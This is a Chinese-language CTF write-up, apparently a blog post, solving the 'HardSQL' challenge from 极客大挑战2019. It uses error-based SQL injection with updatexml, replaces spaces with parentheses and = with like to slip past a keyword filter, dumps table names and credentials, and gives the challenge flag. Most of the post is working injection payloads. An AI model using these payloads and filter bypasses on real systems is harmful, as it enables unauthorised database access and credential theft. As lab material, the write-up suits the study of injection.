CTF | 3分钟
极客大挑战2019 HardSQL
四月 10, 2021
WEB 报错注入

打开靶机

先试一下万能密码1' or 1=1#

看起来过滤了一些东西,手动测试一下,发现过滤了and、=、空格、union等多个注入关键词(别问我为什么不fuzz,因为我fuzz结果跟手动测试结果有出入,明明过滤的,fuzz没测试出来)

试一下报错注入,然后将语句中被过滤的关键词改写就行。空格用()代替,=用like代替

查版本和数据库

原语句:

sql
1admin' or updatexml(1,concat((select concat('~',version(),'~',database()))),1)#

转化:

sql
1admin'or(updatexml(1,concat((select(concat('~',version(),'~',database())))),1))#

出来了

数据库版本:10.3.18-MariaDB 数据库名称:geek

爆表

sql
1admin'or(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#

表名:H4rDsq1

爆字段

sql
1admin'or(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))),1))#

字段名:id,username,password

查数据

sql
1admin'or(updatexml(1,concat((select(group_concat('~',username,'~',password))from(H4rDsq1))),1))#

username:flag password:flag{767b3a87-49a4-46b2-9d(残缺)

这里flag不完整,本来想使用substr截取,发现被过滤了,就使用right函数。right函数是从字符串最右边截取若干字符。

sql
1admin'or(updatexml(1,concat((select(group_concat('~',username,'~',right(password,20)))from(H4rDsq1))),1))#

找到另一半,拼接即可。

sql
1flag{767b3a87-49a4-46b2-9dc1-14587bf20974}

莫名其妙意外收获

爆库与方法一一样,而我在爆表时concat若只添加 select语句不添加其他字符连接(group_concat可有可无),可直接login success,并且在F12中找到flag

sql
1admin'or(updatexml(1,concat((select(table_name)from(information_schema.tables)where(table_schema)like(database()))),1))#

此flag与上面所得flag并不一致,不能过靶机,是不是比赛环境留下来的,在BUU改成动态靶机时没改掉